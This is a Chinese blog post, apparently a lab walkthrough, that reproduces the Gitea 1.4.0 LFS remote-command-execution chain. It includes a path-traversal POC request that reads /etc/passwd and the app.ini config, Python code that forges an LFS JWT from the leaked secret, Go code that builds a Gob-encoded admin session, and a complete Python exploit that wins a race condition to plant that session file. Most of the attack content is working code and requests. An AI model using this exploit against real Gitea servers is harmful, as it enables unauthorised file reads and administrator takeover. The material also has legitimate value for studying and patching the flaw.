Fork me on GitHub

gitea漏洞利用

参考文献 :
https://github.com/vulhub/vulhub/tree/master/gitea/1.4-rce
http://blog.nsfocus.net/gitea-1-4-0-rce/
https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html
gitea安装:https://www.moerats.com/archives/578/

Git LFS

Git 大文件存储(简称LFS),目的是更好地把大型二进制文件,比如音频文件、数据集、图像和视频等集成到 Git 的工作流中。LFS 处理大型二进制文件的方式是用文本指针替换它们,这些文本指针实际上是包含二进制文件信息的文本文件。文本指针存储在 Git 中,而大文件本身通过HTTPS托管在Git LFS服务器上。

搭建gitea

版本:gitea1.4.0

1
2
3
wget -O gitea https://dl.gitea.io/gitea/1.4.0/gitea-1.4.0-linux-amd64
chmod +x gitea
./gitea web

环境启动后,访问http://you-ip:3000,进入安装页面,填写管理员账号密码,并修改网站URL,其他的用默认配置安装即可。安装完成后,创建一个公开的仓库,随便添加点文件进去。

目录穿越漏洞

未授权的任意用户都可以为某个项目创建一个Git LFS对象。这个LFS对象可以通过http://example.com/vulhub/repo.git/info/lfs/objects/[oid]这样的接口来访问,比如下载、写入内容等。其中[oid]是LFS对象的ID,通常来说是一个哈希,但gitea中并没有限制这个ID允许包含的字符。发送一个数据包,创建一个Oid为....../../../etc/passwd的LFS对象:

  • POC
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    POST /sheng/repo.git/info/lfs/objects HTTP/1.1
    Host: 192.168.8.134:3000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
    Accept: application/vnd.git-lfs+json
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: lang=zh-CN; i_like_gitea=b82d4cc1b92e5a61; _csrf=-e57Y5iPxeHfOnbGxVQlzpxORFA6MTU0NDA4NDUxNDkwNDE0MzIzMA%3D%3D
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Length: 153
    {
    "Oid": "....../../../etc/passwd",
    "Size": 1000000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
    }

  • 访问创建的文件
    1
    /test/poc.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth

读取配置文件,构造JWT密文

读取gitea的配置文件。这个文件在$GITEA_CUSTOM/conf/app.ini$GITEA_CUSTOMgitea的根目录,默认是/var/lib/gitea/,我自己安装的是在custom里面,所以需要构造出的Oid是 ....custom/conf/app.ini (经过转换后就变成了/gitea/lfs/../../custom/conf/app.ini,也就是/custom/conf/app.ini。)

Gitea中,LFS的接口是使用JWT认证,其加密密钥就是配置文件中的LFS_JWT_SECRET。可以构造JWT认证,进而获取LFS完整的读写权限。
  • 需要安装的模块

    1
    2
    pip install PyJWT
    pip install jwt
  • 生成密文

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    import jwt
    import time
    import base64

    def decode_base64(data):
    missing_padding = len(data) % 4
    if missing_padding != 0:
    data += '='* (4 - missing_padding)
    return base64.urlsafe_b64decode(data)
    jwt_secret = decode_base64('e7AeKD-eaj5ZpbllKkeG3JyjqYfVbDazSSNvRl-1V9E') #读取到的密钥
    public_user_id = 1
    public_repo_id = 1
    nbf = int(time.time())-(60*60*24*1000)
    exp = int(time.time())+(60*60*24*1000)
    #public_user_id是项目所有者的id,public_repo_id是项目id,这个项目指LFS所在的项目;nbf是指这个密文的开始时间,exp是这个密文的结束时间,只有当前时间处于这两个值中时,这个密文才有效。
    token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256')
    token = token.decode()
    print(token)

伪造session提升权限

LFS中的路由接口
1
2
3
4
5
6
transformKey(meta.Oid) + .tmp 后缀作为临时文件名
如果目录不存在,则创建目录
将用户传入的内容写入临时文件
如果文件大小和meta.Size不一致,则返回错误(meta.size是第一步中创建LFS时传入的Size参数)
如果文件哈希和meta.Oid不一致,则返回错误
将临时文件重命名为真正的文件名
gitea中是用流式方法来读取数据包,并将读取到的内容写入临时文件,可以用流式HTTP方法,传入我们需要写入的文件内容,然后挂起HTTP连接。这时候,后端会一直等待我传剩下的字符,在这个时间差内,Put函数是等待在io.Copy那个步骤的,当然也就不会删除临时文件了。
在Gitea可以配置存储session的方式,默认是保存为文件,存储路径在/data/gitea/sessions,我的是data/sessions。把上面生成的session内容写入到一个.tmp文件,并保存在session目录下,这个tmp文件名即为sessionid,然后利用条件竞争,在文件未被删除之前带上这个sessionid,就可以登录成功。session文件名为sid[0]/sid[1]/sid,且对象被用Gob序列化后存入文件
  • 生成一段Gob编码的session:(在线运行环境)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    package main
    import (
    "fmt"
    "encoding/gob"
    "bytes"
    "encoding/hex"
    )
    func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
    gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
    }
    func main() {
    var uid int64 = 1
    #uid是管理员id,uname是管理员用户名
    obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "sheng" }
    data, err := EncodeGob(obj)
    if err != nil {
    fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
    }
  • p神最终的利用脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    import requests
    import jwt
    import time
    import base64
    import logging
    import sys
    import json
    from urllib.parse import quote

    logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
    BASE_URL = 'http://192.168.8.134:3000/sheng/repo'
    JWT_SECRET = 'e7AeKD-eaj5ZpbllKkeG3JyjqYfVbDazSSNvRl-1V9E'
    USER_ID = 1
    REPO_ID = 1
    SESSION_ID = '11sheng'
    #上面生成的session数据。
    SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005bff82000306737472696e670c070005756e616d6506737472696e670c0700057368656e6706737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e74363404020002')

    def generate_token():
    def decode_base64(data):
    missing_padding = len(data) % 4
    if missing_padding != 0:
    data += '='* (4 - missing_padding)
    return base64.urlsafe_b64decode(data)
    nbf = int(time.time())-(60*60*24*1000)
    exp = int(time.time())+(60*60*24*1000)

    token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256')
    return token.decode()
    def gen_data():
    yield SESSION_DATA
    time.sleep(300)
    yield b''

    OID = f'....data/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'
    response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={
    'Accept': 'application/vnd.git-lfs+json'
    }, json={
    "Oid": OID,
    "Size": 100000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
    })
    logging.info(response.text)
    response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={
    'Accept': 'application/vnd.git-lfs',
    'Content-Type': 'application/vnd.git-lfs',
    'Authorization': f'Bearer {generate_token()}'
    })

将伪造的SESSION数据发送,并等待300秒后才关闭连接。在这300秒中,服务器上将存在一个名为11sheng.tmp的文件,这也是session id

-------------本文结束感谢您的阅读-------------